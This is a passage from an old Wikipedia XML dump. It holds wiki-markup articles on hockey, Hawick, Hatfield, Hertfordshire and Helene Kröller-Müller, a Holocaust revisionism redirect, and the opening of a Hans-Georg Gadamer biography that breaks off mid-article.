**The [[lung]]s take in [[oxygen]] and give off [[carbon dioxide]].
**The [[Renal physiology|kidney]]s remove [[urea]], and adjust the concentrations of [[water]] and a wide variety of [[ion]]s.

Most of these organs are controlled by [[hormone]]s secreted from the [[pituitary gland]], which in turn is directed by the [[hypothalamus]].

== Cultural Referencecs ==
Ecological homeostasis is a major plot element in the 1996 [[Pauly Shore]] film ''[[Bio-Dome]]''.

== See also ==

* [[Acclimatization]]
* [[Biological rhythm]]
* [[Metabolism]]
* [[Apoptosis]]
* [[Senescence|Aging]]
* [[Balance]]
* [[Osmosis]]
* [[Self-organization]]
* [[Cybernetics]]

{{Cybernetics}}
[[Category:Biology]]
[[Category:Cybernetics]]
[[Category:Systems theory]]
[[Category:Motivation]]

[[bg:Хомеостаза]]
[[da:Homøostase]]
[[de:Selbstregulation]]
[[et:Homöostaas]]
[[es:Homeostasis]]
[[fr:Homéostasie]]
[[hr:Homeostaza]]
[[he:הומאוסטזה]]
[[io:Regulademo]]
[[it:Omeostasi]]
[[lt:Savireguliacija]]
[[nl:Homeostase]]
[[ja:恒常性]]
[[pl:Homeostaza]]
[[pt:Homeostase]]
[[ru:Гомеостаз]]
[[sv:Homeostas]]
[[th:ภาวะธำรงดุล]]
[[vi:Cân bằng nội môi]]</text>
    </revision>
  </page>
  <page>
    <title>Hockey</title>
    <id>13981</id>
    <revision>
      <id>42103676</id>
      <timestamp>2006-03-03T21:23:20Z</timestamp>
      <contributor>
        <ip>70.59.162.161</ip>
      </contributor>
      <comment>revert edit by 204.14.14.177</comment>
      <text xml:space="preserve">[[Image:Field hockey.jpg|right|250px|thumb|Field hockey game at [[Melbourne University]].]]
[[Image:The Colts applying pressure at the Battalion net.JPG|right|250px|thumb|The [[Barrie Colts]] applying pressure at the [[Brampton Battalion]] net in an [[ice hockey]] game.]]
'''Hockey''' is any of a family of [[sport]]s in which two teams compete by trying to maneuver a  ball or hard round disc, called a [[hockey puck|puck]], into the opponent's net or [[goal (sport)|goal]], past the goaltender or goalkeeper (often abbreviated ''goalie''), using a hockey stick.

The major forms of hockey are:
* [[Ice hockey]], played on ice with a small, 7- to 8-[[ounce]] rubber disc called a [[hockey puck|puck]]. Most widely played in the United States, Canada, and Northern Europe. Its most famous league is the [[National Hockey League]].
* [[Field hockey]], played with a ball on gravel-, grass-, sand- or water-based [[artificial turf]]s, most widely played in Western Europe, Asia, Australia, and New Zealand.
* [[Roller hockey]], played in an indoor rink with a ball or a plastic puck, with two of its variants [[Rink hockey]], played with [[Roller skates#Quad Skating|roller skates]] and [[Inline hockey]], played with [[inline skates]].


The dominant version of hockey in a particular region tends to be known simply as ''hockey'', other forms being more fully specified. For example, in North America, ''hockey'' refers to ice hockey, the most common form of the sport in the region, whereas in the UK the same word denotes field hockey.

Ice hockey is played almost exclusively in the northern hemisphere and predominantly in colder regions such as [[Canada]], [[Russia]], the [[United States|U.S.]], and [[Northern Europe]] (particularly in [[Scandinavia]]). Some assert that the game was started in the early 19th century, in [[Nova Scotia]], by Scottish immigrants to Canada, who played on Skinner's Pond with sticks and skates, using cow dung as the puck. Others argue that ice hockey started in Montréal, Québec, other parts of Canada, or Europe.

[[Field hockey]] is popular among women at U.S. high schools and colleges, men in East Asia, and both sexes in Western Europe and Australia. Field hockey sticks are smaller than ice hockey sticks.  Modern ones have a hooked blade and are only curved right, whereas ice hockey sticks have a long blade that can lie flat on the playing surface when the stick is held upright and can be curved both ways.  Rink hockey sticks have a curled &quot;L&quot; shape, and are about the same size as those in field hockey.

In southern European countries (such as [[Spain]], [[Portugal]] and [[Italy]]) and certain South American countries, especially [[Brazil]] and [[Argentina]]), the dominant form of hockey is what was above described as rink hockey. In Italy it is spread in the Northern regions, above all in [[Trentino-Alto Adige]], [[Veneto]] and [[Lombardy]]

Other games derived from hockey or its predecessors include the following:
* [[Mini Sticks]] is a form of hockey which is played in basements of houses. Players get down on their knees, using a miniature plastic stick, usually about 15 inches (38 cm) long and a small blue ball. They shoot into miniature goals as well. This is popular throughout North America, though it has not yet made the jump to Europe.
* [[Indoor field hockey]] is an indoor variation of field hockey.
* [[Bandy]] is played with a ball on a [[football (soccer)|football]]-sized ice arena, typically outdoors. It is in many ways field hockey played on ice.
* [[Floorball]] is played in sport halls.
* [[Roller Hockey|Roller hockey]] is a variant of ice hockey that is played on concrete, asphalt or (ideally) a roller rink using inline roller skates, and is often played by ice hockey players for training purposes when ice is not available. Roller hockey is also known as [[rink hockey]] and [[inline hockey|Inline hockey]].
* [[Shinny]] is an informal version of ice hockey.
* [[Air hockey]] and [[table hockey]] are played on tables indoors.
* [[Underwater hockey]] is played on the bottom of a swimming pool.
* [[Street hockey]] is a version of ice hockey played (most typically) on residential streets with or without inline skates, on bare pavement. Games are usually informal with no referee and no set teams. Because the game is played in the middle of the road, it is often interrupted by traffic, at which point someone will yell &quot;car&quot; and players stand to the side of the road to allow the vehicle to pass. 
* [[Ringette]] is an ice hockey variant that was designed for female players; it uses a straight stick and a rubber ring in place of a puck.
* [[Broomball]] is played on an ice hockey rink, but with a ball instead of a puck and a &quot;broom&quot; (actually a stick with a small plastic implement on the end) in place of the ice hockey stick. Instead of using skates, special shoes are used that have very soft rubbery soles to maximize grip while running around.
* [[Spongee]] is a cross between ice hockey and broomball and is most popular in [[Manitoba, Canada]]. A stick and puck are used as in hockey (the puck is a softer version called a &quot;sponge puck&quot;), and the same soft-soled shoes used in broomball are worn. The rules are basically the same as ice hockey, but one variation has an extra player on the ice called a &quot;rover&quot;. 
* [[Shinty]] is a [[Scottish Highlands]] game
* [[Hurling]] is an [[Ireland|Irish]] game
* [[Gym Hockey]] is a form of hockey played in a gymnasium.  It uses a plastic puck and plastic sticks. 
* [[Sled Hockey]] is a form of ice hockey played by the disabled. The players sit on sleds, and push themselves up and down the ice with picks on the butt end of their shortened hockey sticks. The game is played with many of the same rules as regular ice hockey.
* [[Floor Hockey]] is a form of hockey played in a gymnasium using a plastic puck and plastic sticks.
* [[Foot Hockey]] is played using a bald tennis ball and using only the feet.  It is popular at elementary schools in the winter. It was created by Dexter Neufeld of Canada. 

[[Category:Hockey|*]]

[[ca:Hoquei]]
[[de:Hockey]]
[[eo:Hokeo]]
[[fr:Hockey]]
[[ko:하키]]
[[it:Hockey]]
[[ja:ホッケー]]
[[pl:Hokej]]
[[pt:Hóquei]]
[[ru:Хоккей]]
[[sk:Hokej]]
[[sl:Hokej]]
[[sr:Хокеј]]
[[sv:Hockey]]
[[ta:ஹாக்கி]]</text>
    </revision>
  </page>
  <page>
    <title>Holocaust revisionism</title>
    <id>13982</id>
    <restrictions>move=sysop:edit=sysop</restrictions>
    <revision>
      <id>21746036</id>
      <timestamp>2005-08-24T19:22:08Z</timestamp>
      <contributor>
        <username>SlimVirgin</username>
        <id>129409</id>
      </contributor>
      <minor />
      <comment>moved tag</comment>
      <text xml:space="preserve">#redirect [[Holocaust denial]]</text>
    </revision>
  </page>
  <page>
    <title>Hawick</title>
    <id>13983</id>
    <revision>
      <id>40458494</id>
      <timestamp>2006-02-20T18:32:25Z</timestamp>
      <contributor>
        <ip>217.44.205.26</ip>
      </contributor>
      <comment>/* Ba game */</comment>
      <text xml:space="preserve">{{infobox Scotland place|
   |Place=             Hawick
   |Population =       14,801
   |GridReference=     NT505155
   |Council=           [[Scottish Borders]]
   |Lieutenancy=       [[Roxburgh, Ettrick and Lauderdale]]
   |Traditional=       [[Roxburghshire]]
   |Westminster=       [[Berwickshire, Roxburgh and Selkirk (UK Parliament constituency)|Berwickshire, Roxburgh and Selkirk]]
   |Holyrood=          [[Roxburgh and Berwickshire]]
   |PostalTown=        HAWICK
   |PostCode=          [[TD9]]
   |DiallingCode=      01450
   |Police=            [[Lothian and Borders Police]]
 }}
'''Hawick''' (pronounced &quot;hoick&quot;) is a town in the [[Scottish Borders]] in the south east of [[Scotland]]. It is most well-known for its annual [[Common Riding]], which also commemorates a victory of local youths over an [[England|English]] raiding party in [[1514]].

It is one of the furthest towns from the sea in Scotland, in the heart of Teviotdale and the largest town in the former county of Roxburghshire. It is also known for quality knitwear production and as the home of [[Hawick RFC|Hawick Rugby Football Club]], one of the word's oldest and most famous sides.

People from Hawick call themselves &quot;Teri&quot;s, after a traditional song which includes the line &quot;Teribus y Teriodin&quot;, which may refer to Anglo Saxon gods.

Hawick lies in the valley of the Teviot at the point the River Slitrig joins it. The A7 [[Edinburgh]] to [[Carlisle]] road passes through the town, with main roads also leading to [[Kelso, Scotland|Kelso]] and [[Newcastle-upon-Tyne|Newcastle]].
The town lost its rail service in 1969, but there is a regular bus service to the railway station at Carlisle, 50 miles away. The nearest airports are at Edinburgh and Newcastle.

Rivalry between the small Border towns is generally played out on the [[rugby union|Rugby]] field and the comical historical antagonism continues to this day, Hawick's main rival being the similarly-sized town of [[Galashiels]].

==Ba game ==
The long forgotten Hawick Ba game was played here by the 'uppies' and the 'doonies' on the first Monday after the new moon in the month of February. The river of the town formed an important part of the pitch. Although the Ba game is no longer played at Hawick, it is still played at nearby [[Jedburgh]].&lt;BR&gt;
*[http://www.ettrickgraphics.com/hawick12.htm Picture of the ba game at Hawick dated 1904]
*[http://web5.infotrac.galegroup.com/itw/infomark/100/718/79459836w5/purl=rc1_TTDA_0_CS168762971&amp;dyn=17!xrn_1_0_CS168762971&amp;hst_1?sw_aep=free4_tda Letter to the Editor of 'The Times' on the Hawick Ba game (1928)]

==See also==
*[[Bill McLaren]]
*[[Hawick RFC|Hawick Rugby Football Club]]
*[[Hawick Waverley Football Club]]

==References==
* {{Web reference|URL=http://www.scotborders.gov.uk/outabout/aboutborders/townsize/index.html|title=Census 2001|work=Population figures|date=August 17|year=2005}}
==External links==

*[http://www.hawick-news.co.uk/ Hawick News]
*[http://legionafc.mysite.wanadoo-members.co.uk/ Hawick Legion F.C.]
*[http://www.teribus.com/ Hawick Common Riding Website]
*[http://www.visitscotland.com/library/commonriding Visit Scotland's page]
*[http://www.hawickcallantsclub.co.uk/commonriding.htm Hawick Callants Club]
*[http://www.visitscotland.com/library/hawickselkirkridings Visit Scotland]

[[Category:Towns in the Scottish Borders]]
[[no:Hawick]]
[[sco:Hawick]]</text>
    </revision>
  </page>
  <page>
    <title>Hatfield, Hertfordshire</title>
    <id>13985</id>
    <revision>
      <id>41658630</id>
      <timestamp>2006-02-28T21:33:59Z</timestamp>
      <contributor>
        <ip>86.129.92.7</ip>
      </contributor>
      <text xml:space="preserve">{{infobox England place with map|
   |Map=               Hatfield - Hertfordshire dot.png
   |Place=             Hatfield
   |Population=        27,883 ([[United Kingdom Census 2001|2001]]) [http://www.hertsdirect.org/infobase/docs/pdfstore/tabKS01sett.pdf]
   |District=          [[Welwyn Hatfield]]
   |County=            [[Hertfordshire]]
   |Region=            [[East of England]]
   |Ceremonial=        [[Hertfordshire]]
   |Traditional=       [[Hertfordshire]]
   |Constituency=      [[Welwyn Hatfield (UK Parliament constituency)|Welwyn Hatfield]]
   |PostalTown=        HATFIELD
   |PostCode=          AL9 (Old Hatfield)&lt;br/&gt;AL10 (Modern side)
   |Police=
   |DiallingCode=      01707
   |GridReference=     TL234086
   |Euro=              [[East of England (European Parliament constituency)|East of England]]
}}
[[image:arms-hatfield.jpg|thumb|right|Arms of the former Hatfield Rural District Council]]
'''Hatfield''', originally '''Bishop's Hatfield''', is a town in the [[Welwyn Hatfield]] district of [[Hertfordshire]], in the south of [[England]]. It forms part of the [[Welwyn Hatfield (UK Parliament constituency)|Welwyn Hatfield constituency]] which also includes [[Welwyn Garden City]], and has been twinned with the [[The Netherlands|Dutch]] port town of [[Zierikzee]] since 1953. Its [[Member of Parliament|MP]] is [[Grant Shapps]] ([[Conservative Party (UK)|Con.]]).

== Modern development ==
The town is the site of the original campus of [[Hatfield Polytechnic]], which has since become the [[University of Hertfordshire]].   It is also the location of the first [[de Havilland]] aircraft factory with an associated airfield where [[airliner]]s such as the [[de Havilland Dove|Dove]], [[de Havilland Heron|Heron]], [[de Havilland Comet|Comet]], [[de Havilland Trident|Trident]] and [[BAe 146|HS146]] were built. Production of the latter type was transferred to [[Woodford, Cheshire, England|Woodford]] in [[Cheshire]] during the [[1990s]] by which time it was known as the [[British Aerospace]] 146 &quot;[[Whisperjet]]&quot;. An early [[bizjet]], the [[BAe 125|DH125]], was also developed here although mass production took place at [[Hawarden]] in [[Cheshire]]. Some components of wind [[turbine]]s were also developed here prior to the airfield's closure. 

Until the early [[1990s]] [[British Aerospace]] maintained a substantial presence within the town. Their vacated premises and surrounding grounds served as a film set for some of the night-time scenes of the [[BBC]]/[[Home Box Office|HBO]] television drama ''[[Band of Brothers]]'', which followed on from significant use of the site in the filming of the [[Steven Spielberg]] movie ''[[Saving Private Ryan]]''. Subsequently, a large section of the land was purchased by the [[University of Hertfordshire]] and the £120 million [[University of Hertfordshire|de Havilland Campus]], incorperating a £15 million Sports Village, was opened in September [[2003]]. The university has closed its sites at [[Watford]] and [[Hertford]], and faculties situated there have been relocated to the de Havilland Campus. The university maintains its campus at [[St Albans]], which houses law students.

In addition to the new university campus, part of the former BAe land will also be the site of a £500 million new hospital to replace the [[Queen Elizabeth II hospital]] in [[Welwyn Garden City|Welwyn]]. The university is looking to expand its [[Nursing]] and [[Physiotherapy]] departments to accommodate and utilise the extra facilities available to it. Redevelopment of Hatfield town centre is also being planned.  This will involve the construction 275 flats and retail units and is forecast to finish by the end of 2009. [http://www.welhat.gov.uk/council/default.asp?step=2&amp;id=69 |Welwyn Hatfield Council]. Plans are also under way for the regeneration of Hatfield Town Centre, and Hatfield Town Centre Redevelopment has now been granted planning permission subject to a section 106 legal agreement.

== Hatfield rail crash ==
[[Image:07-11-05 Hatfield 50.jpg|thumb|right|The memorial garden created alongside the [[East Coast Main Line]] for those who died in the [[Hatfield rail crash]].]]
The area contains the site of a fatal [[Hatfield rail crash|rail crash]] on [[October 17]], [[2000]]. The incident brought track maintenance deficiencies to public attention, to the severe detriment of [[Railtrack]], the company established to manage rail infrastructure, and set in motion the events that led to its insolvency. It is five miles north of [[Potters Bar]], scene of a later fatal [[Potters Bar rail crash|train derailment]].

== Culture and recreation ==
Hatfield has one swimming pool, two sports/leisure centers, one nine-screen cinema, a factory outlet shopping center called [[The Galleria]], situated above the A1(M), and two supermarkets - ASDA in the town centre and Tesco at the northern end of the town. Hatfield is most famous for being the location of [[Hatfield House]].

==Places of Interest==
This is only related to Hatfield. As mentioned above, Hatfield House is located here. There is also a local history museum located at [[Mill Green]], just off the A414-A1000 junction. Also housed at Mill Green is a splendid water mill which still produces flour which can be bought there. There is also a café. The water mill is one of a very few in [[Hertfordshire]].

Of Hammond Lane there are nice walks around Symondshyde Great Wood.

[http://www.hatfield-herts.gov.uk/index.php Hatfield Town Council website].

== Nearby towns and villages ==
* [[Welwyn Garden City]]
* [[St Albans]]
* [[London Colney]]
* [[Welham Green]]
* [[Brookmans Park]]
* [[Potters Bar]]
* [[Colney Heath]]
* [[Lemsford]]

== Namesakes ==
A number of places named after Hatfield can be found around the world:
* [[Hatfield, Massachusetts]], [[United States|United States of America]]
* [[Hatfield, Pretoria]], [[South Africa]] - an affluent suburb on the east side of the city, containing a number of consulates, embassies and the [[University of Pretoria]].
* [[Hatfield, South Yorkshire]]
For a full list and etymology of the name, see [[Hatfield]].

The British [[1970s]] rock band [[Hatfield and the North]] was named after the first road sign on the A1 motorway going North from London.  [[Babe Ruth (band)|Babe Ruth]], a 1970s rock band came from Hatfield.

Few people know this but Hatfield might be where [[Terry Leahy]], president of [[Tesco]] plc lives. {{citation needed}} (Mentioned briefly on a radio programme on BBC Radio 4 about Leahy)

== External links ==
* [http://www.hertsinternet.com/hertfordshire/guide/hatfield.shtml Herts Internet article on Hatfield]
* [http://www.hatfield-herts.gov.uk/ Official Government website for Hatfield]
* [http://www.michaelpead.co.uk/photography/london/hatfield.shtml Michael Pead :: Photos of Hatfield]
* [http://www.hatfield-herts.gov.uk/twinning.php Article on the twinning with Zierikzee]
* [http://www.welhat.gov.uk/ Welwyn Hatfield Council]
* [http://www.hatfield-herts.gov.uk Hatfield Town Council website]
[[Category:Towns in Hertfordshire]]
[[la:Hatfeldia, Hartfordiensis comitatus]]</text>
    </revision>
  </page>
  <page>
    <title>Hertfordshire</title>
    <id>13986</id>
    <revision>
      <id>39771393</id>
      <timestamp>2006-02-15T19:47:29Z</timestamp>
      <contributor>
        <ip>83.121.11.181</ip>
      </contributor>
      <comment>disambiguation from [[2001: A Space Odyssey]] to [[2001: A Space Odyssey (film)]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin: 0 0 1em 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Hertfordshire'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot; | [[Image:EnglandHertfordshire.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography
|-
! width=&quot;45%&quot; | Status
|[[Ceremonial counties of England|Ceremonial]] &amp; [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
! width=&quot;45%&quot; | Origin
|[[Traditional counties of England|Historic]]
|-
!Region:
|[[East of England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council
|[[List of Ceremonial counties of England by Area|Ranked 36th]]&lt;br /&gt;634 [[square mile|miles&amp;sup2;]] ([[1 E9 m²|1,643]] [[square kilometre|km&amp;sup2;]])&lt;br /&gt;[[List of Administrative shire counties of England by Area|Ranked 32nd]]
|-
!Admin HQ:
|[[Hertford]]
|-
![[ISO 3166-2:GB|ISO 3166-2]]:
|GB-HRT
|-
![[ONS coding system|ONS code]]:
|26
|-
![[Nomenclature of Territorial Units for Statistics|NUTS]] 3:
|UKH23
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. Council
|[[List of ceremonial counties of England by population|Ranked 16th]]&lt;br /&gt;1,041,300&lt;br /&gt;634 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 6th]]
|-
!Ethnicity:
|93.7% White&lt;br /&gt;3.0% S. Asian&lt;br /&gt;1.1% Afro-Carib.
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Politics
|-
|colspan=2 align=center|[[Image:arms-herts.jpg|200px|Arms of Hertfordshire County Council]]&lt;br /&gt;Hertfordshire County Council&lt;br /&gt;http://www.hertsdirect.org/
|-
!Executive
|[[Conservative Party (UK)|Conservative]]
|-
! [[MPs elected in the UK general election, 2005|Members of Parliament]]
|
*[[James Clappison]]
*[[Barbara Follett]]
*[[David Gauke]]
*[[Oliver Heald]]
*[[Peter Lilley]]
*[[Anne Main]]
*[[Mike Penning]]
*[[Mark Prisk]]
*[[Grant Shapps]]
*[[Charles Walker (politician)|Charles Walker]]
*[[Claire Ward]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Districts
|-
|colspan=2|&lt;center&gt;[[Image:HertfordshireNumbered.png]]&lt;/center&gt;
#[[Three Rivers, England|Three Rivers]]
#[[Watford]]
#[[Hertsmere]]
#[[Welwyn Hatfield]]
#[[Broxbourne (borough)|Broxbourne]]
#[[East Hertfordshire]]
#[[Stevenage]]
#[[North Hertfordshire]]
#[[City and District of St Albans|St Albans]]
#[[Dacorum]]
|}
'''Hertfordshire''' (pronounced &quot;Hartfordshire&quot; and abbreviated as &quot;Herts&quot;) is an inland [[Counties of England|county]] in the [[United Kingdom]], officially part of the [[East of England]] Government region. It is one of the [[Home Counties]].

Hertfordshire is located to the north of [[Greater London]], and much of the county is part of the [[London commuter belt]]. 

The county has a wide range of transport links, with the M1, M10, A1(M), the M25 and other motorways passing through it.

To the east of Hertfordshire is [[Essex, England|Essex]], to the west is [[Buckinghamshire]] and to the north are [[Bedfordshire]], [[Luton]] and [[Cambridgeshire]].

The highest point in the county is 803 feet (245 m) above sea level, a quarter mile (400 m) from the village of [[Hastoe]] near [[Tring]].

The county motto,  is ''&quot;Trust and fear not&quot;''.

==History==
''Main article: [[History of Hertfordshire]].''

Hertfordshire was originally the area assigned to a fortress constructed at [[Hertford]] under the rule of [[Edward the Elder]] in [[913]].  The name Hertfordshire appears in the [[Anglo-Saxon Chronicle]] in [[1011]].

The [[Domesday Book]] recorded the county as having nine [[hundred (divisions)|hundred]]s.  [[Tring]] and [[Danais]] became one, [[Dacorum]].  The other seven were [[Broadwater]], [[Cashio]], [[Edwinstree]], [[Hertford]], [[Hitchin]] and [[Odsey]].

Hertfordshire is the starting point of the [[New River (England)|New River]]: a man made waterway, opened in [[1613]] to supply [[London]] with fresh drinking water.

In 1965, under the London Government Act 1963, [[Barnet Urban District]] and [[East Barnet Urban District]] were abolished and their area transferred from Hertfordshire to [[Greater London]] to form part of the [[London Borough of Barnet]]. [http://www.visionofbritain.org.uk/relationships.jsp?u_id=10042082] [http://www.visionofbritain.org.uk/relationships.jsp?u_id=10001699] At the same time the [[Potters Bar Urban District]] was directly transferred from [[Middlesex]] to Hertfordshire. [http://www.visionofbritain.org.uk/relationships.jsp?u_id=10135590&amp;c_id=10001043]

From the [[1920s in film|1920s]] until the late [[1980s in film|1980s]], the town of [[Borehamwood]] was home to one of the major British [[film studio]] complexes, including the [[MGM-British Studios]]. Many well known films were made here, including ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' and the original ''[[Star Wars]]'' and [[Indiana Jones]] trilogies. Television productions are still made at the nearby [[Elstree Studios]], which were taken over by the [[BBC]].

On the morning of [[11 December]] [[2005]], a [[2005 Hertfordshire Oil Storage Terminal fire|large explosion and fire]] occurred at a [[petroleum]] fuel depot near [[Hemel Hempstead]], in [[Buncefield]].  Forty three people were injured, luckily nobody was killed, but considerable damage was caused. The two day fire was the largest in peacetime Europe, and a pall of smoke darkened London and much of South East England.

==Geology==
''Main article: [[Geology of Hertfordshire]].''

The rocks of Hertfordshire belong to the great shallow [[syncline]] known as the [[London basin]]. The beds dip in a south-easterly direction towards the syncline's lowest point roughly under the [[River Thames]]. The most important formations are the [[Cretaceous]] [[Chalk]], which is exposed as  the high ground in the north and west of the county and the younger [[Palaeocene]], [[Reading Beds]] and [[Eocene]], [[London Clay]] which occupy the remaining southern part. The eastern half of the county was covered by glaciers during the Ice Age and has a superficial layer of glacial boulder clays.

==Urban areas==
These are the '''main''' towns in Hertfordshire. For a complete list of settlements see '''[[list of places in Hertfordshire]]'''.

*[[Baldock]]
*[[Berkhamsted]]
*[[Bishop's Stortford]]
*[[Borehamwood]]
*[[Broxbourne]]
*[[Cheshunt]]
*[[Cuffley]]
*[[Chorleywood]]
*[[Harpenden]]
*[[Hatfield, Hertfordshire|Hatfield]]
*[[Hemel Hempstead]]
*[[Hertford]]
*[[Hitchin]]
*[[Hoddesdon]]
*[[Letchworth Garden City]]
*[[London Colney]]
*[[Potters Bar]]
*[[Radlett]]
*[[Rickmansworth]]
*[[Royston, Hertfordshire|Royston]]
*[[Sawbridgeworth]]
*[[Stevenage]]
*[[St Albans]]
*[[Tring]]
*[[Waltham Cross]]
*[[Ware]]
*[[Watford]] 
*[[Welwyn]]
*[[Welwyn Garden City]]

==Places of interest==
*[[Aldenham]] Country Park
*[[Beech Bottom Dyke]], St Albans - large scale [[iron age]] defensive or boundary ditch
*[[Berkhamstead Castle]]
*[[De Havilland Aircraft Heritage Centre]], [[Salisbury Hall]], between [[London Colney]] and [[South Mimms]]
*[[Hatfield House]] : [[Jacobean architecture|Jacobean]] house, gardens and park
*[[Henry Moore Foundation]], [[Much Hadham]] - Sculpture park on the work of [[Henry Moore]]
*[[Knebworth House]] - 250 acres (1.0 km&amp;sup2;) of country park, venue of regular rock and pop festivals.
*[[St Albans Cathedral]]
*[[Shaw's Corner]], [[Ayot St Lawrence]], home of [[George Bernard Shaw]].
*The [[Six Hills]] [[Roman Britain|Roman]] site in Stevenage.
*[[Stevenage]], the first UK [[New Town]]
*[[Sopwell Nunnery]], St Albans
*The [[University of Hertfordshire]] was created from [[Hatfield Polytechnic]] which originated in [[Hatfield, Hertfordshire|Hatfield]].
*[[Verulamium]] Roman town remains at St Albans
*[[Ye Olde Fighting Cocks]], St Albans - a claimant to being the oldest pub in Britain.


{{England ceremonial counties}}
&lt;br /&gt;
{{England traditional counties}}

[[Category:Hertfordshire| ]]

[[da:Hertfordshire]]
[[de:Hertfordshire]]
[[es:Hertfordshire]]
[[eo:Hertfordshire]]
[[fi:Hertfordshire]]
[[fr:Hertfordshire]]
[[id:Hertfordshire]]
[[no:Hertfordshire]]
[[sk:Hertfordshire]]
[[sv:Hertfordshire]]</text>
    </revision>
  </page>
  <page>
    <title>Helene Kröller-Müller</title>
    <id>13987</id>
    <revision>
      <id>21962734</id>
      <timestamp>2005-08-27T14:59:14Z</timestamp>
      <contributor>
        <ip>82.210.117.215</ip>
      </contributor>
      <comment>moved to a less general bio stub category</comment>
      <text xml:space="preserve">'''Helene Kröller-Müller''' ([[February 11]], [[1869]] &amp;ndash; [[December 14]], [[1939]]) was one of the first European women to put together a major art collection.

She was born '''Helene Emma Laura Juliane Müller''' into a wealthy industrialist family in [[Germany]]. She married a [[Netherlands|Dutch]]man named [[Anton Kroller|Anton Kröller]] in [[1888]] and used both surnames in accordance with Dutch tradition.

Helene Kröller-Müller was an avid [[art|art collector]], and one of the first people to recognise the genius of [[Vincent van Gogh]]. She also collected works by other modern artists.

In [[1935]], she donated to the Dutch people her entire collection totalling approximately 12,000 objects. Held in the care of the Dutch government, the [[Kröller-Müller Museum]] was opened in [[1938]] near the town of [[Otterlo]] in the [[Netherlands]].

[[Category:1869 births|Kröller-Müller, Helene]]
[[Category:1939 deaths|Kröller-Müller, Helene]]
[[Category:German art collectors|Kröller-Müller, Helene]]

{{Netherlands-bio-stub}}

[[nl:Helene Kröller-Müller]]</text>
    </revision>
  </page>
  <page>
    <title>Hans-Georg Gadamer</title>
    <id>13988</id>
    <revision>
      <id>40891354</id>
      <timestamp>2006-02-23T18:26:22Z</timestamp>
      <contributor>
        <ip>150.216.125.86</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Gadamer.jpg|thumb|right|Hans-Georg Gadamer]]

'''Hans-Georg Gadamer''' ([[February 11]], [[1900]] &amp;ndash; [[March 13]], [[2002]]) was a [[Germany|German]] [[philosopher]] best known for his 1960 [[magnum opus]], ''[[Truth and Method]]'' (''Wahrheit und Methode'').

== Life ==
Gadamer was born in [[Marburg]], [[Germany]], as the son of a pharmaceutical [[chemist]] who later also served as the [[rector]] of the [[university]] there. Gadamer resisted his father's urging to take up the [[natural sciences]] and grew more and more interested in the [[humanities]]. He grew up and studied in [[Breslau]] under [[Hönigswald]], but soon moved back to Marburg to study with the [[Neo-Kantian]] philosophers [[Paul Natorp]] and [[Nicolai Hartmann]]. He defended his [[dissertation]] in 1922. 

Shortly thereafter, Gadamer visited [[Freiburg]] and began studying with [[Martin Heidegger]], who was then a promising young scholar who had not yet received a professorship. He thus became one of a group of students such as [[Leo Strauss]], [[Karl Löwith]], and [[Hannah Arendt]]. He and Heidegger became close, and when Heidegger received a position at [[Marburg]], Gadamer followed him there. It was Heidegger's influence that gave Gadamer's thought its distinctive cast and led him away from the earlier neo-Kantian influences of Natorp and Hartmann.

Gadamer [[habilitation| habilitated]] in 1929 and spent most of the early 1930s lecturing in Marburg. Unlike Heidegger, Gadamer was strongly anti-[[Nazi]], although he was not politically active during the [[Third Reich]]. He did not receive a paid position during the Nazi years and never entered the Party; only towards the end of the War did he receive an appointment at [[Leipzig]]. In 1946, he was found to be untainted by Nazism by the American occupation forces and named rector of the  university. Communist East Germany was little more to Gadamer's liking than the Third Reich, and he left for West Germany, accepting first a position in [[Frankfurt am Main]] and then the succession of [[Karl Jaspers]] in [[Heidelberg]] in 1949. He remained in this position, as emeritus, until his death in 2002. 

It was during this time that he completed his ''magnum opus'' ''Truth and Method'' (in 1960) and engaged in his famous debate with [[Jürgen Habermas]] over the possibility of transcending history and culture in order to find a truly objective position from which to criticize society. The debate was inconclusive, but marked the beginning of warm relations between the two men. It was Gadamer who secured Habermas's first professorship in [[Heidelberg]]. Another attempt to engage [[Jacques Derrida]] proved less enlightening because the two thinkers had so little in common. After Gadamer's death, Derrida called their failure to find common ground one of the worst debacles of his life and expressed, in the main obituary for Gadamer, his great personal and philosophical respect.

== Work ==
Gadamer's philosophical project, as explained in ''[[Truth and Method]]'', was to elaborate on the concept of &quot;[[hermeneutics|philosophical hermeneutics]]&quot;, which Heidegger initiated but never dealt with at length. Gadamer's goal was to uncover the nature of human understanding. In the book Gadamer argued that &quot;truth&quot; and &quot;method&quot; were at odds with one another. He was critical of two approaches to the human science (''Geisteswissenschaften''). On the one hand, he was critical of modern approaches to humanities that modeled themselves on the natural sciences (and thus on rigorous scientific methods). On the other hand, he took issue with the traditional approach to the humanities, stemming from [[Wilhelm Dilthey]], which believed that correctly interpreting a text meant recovering the original intention of the author who wrote it. 

In contrast to both of these positions, Gadamer argued that people have a 'historically effected consciousness' (''wirkungsgeschichtliches Bewußtsein'') and that they are embedded in the particular history and culture that shaped them. Thus interpreting a text involves a 'fusion of horizons' where the scholar finds the ways that the text's history articulates with their own background. ''Truth and Method'' is not meant to be a programmatic statement about a new 'hermeneutic' method of interpreting texts. Gadamer intended ''Truth and Method'' to be a description of what we always do when we interpret things (even if we do not know it).

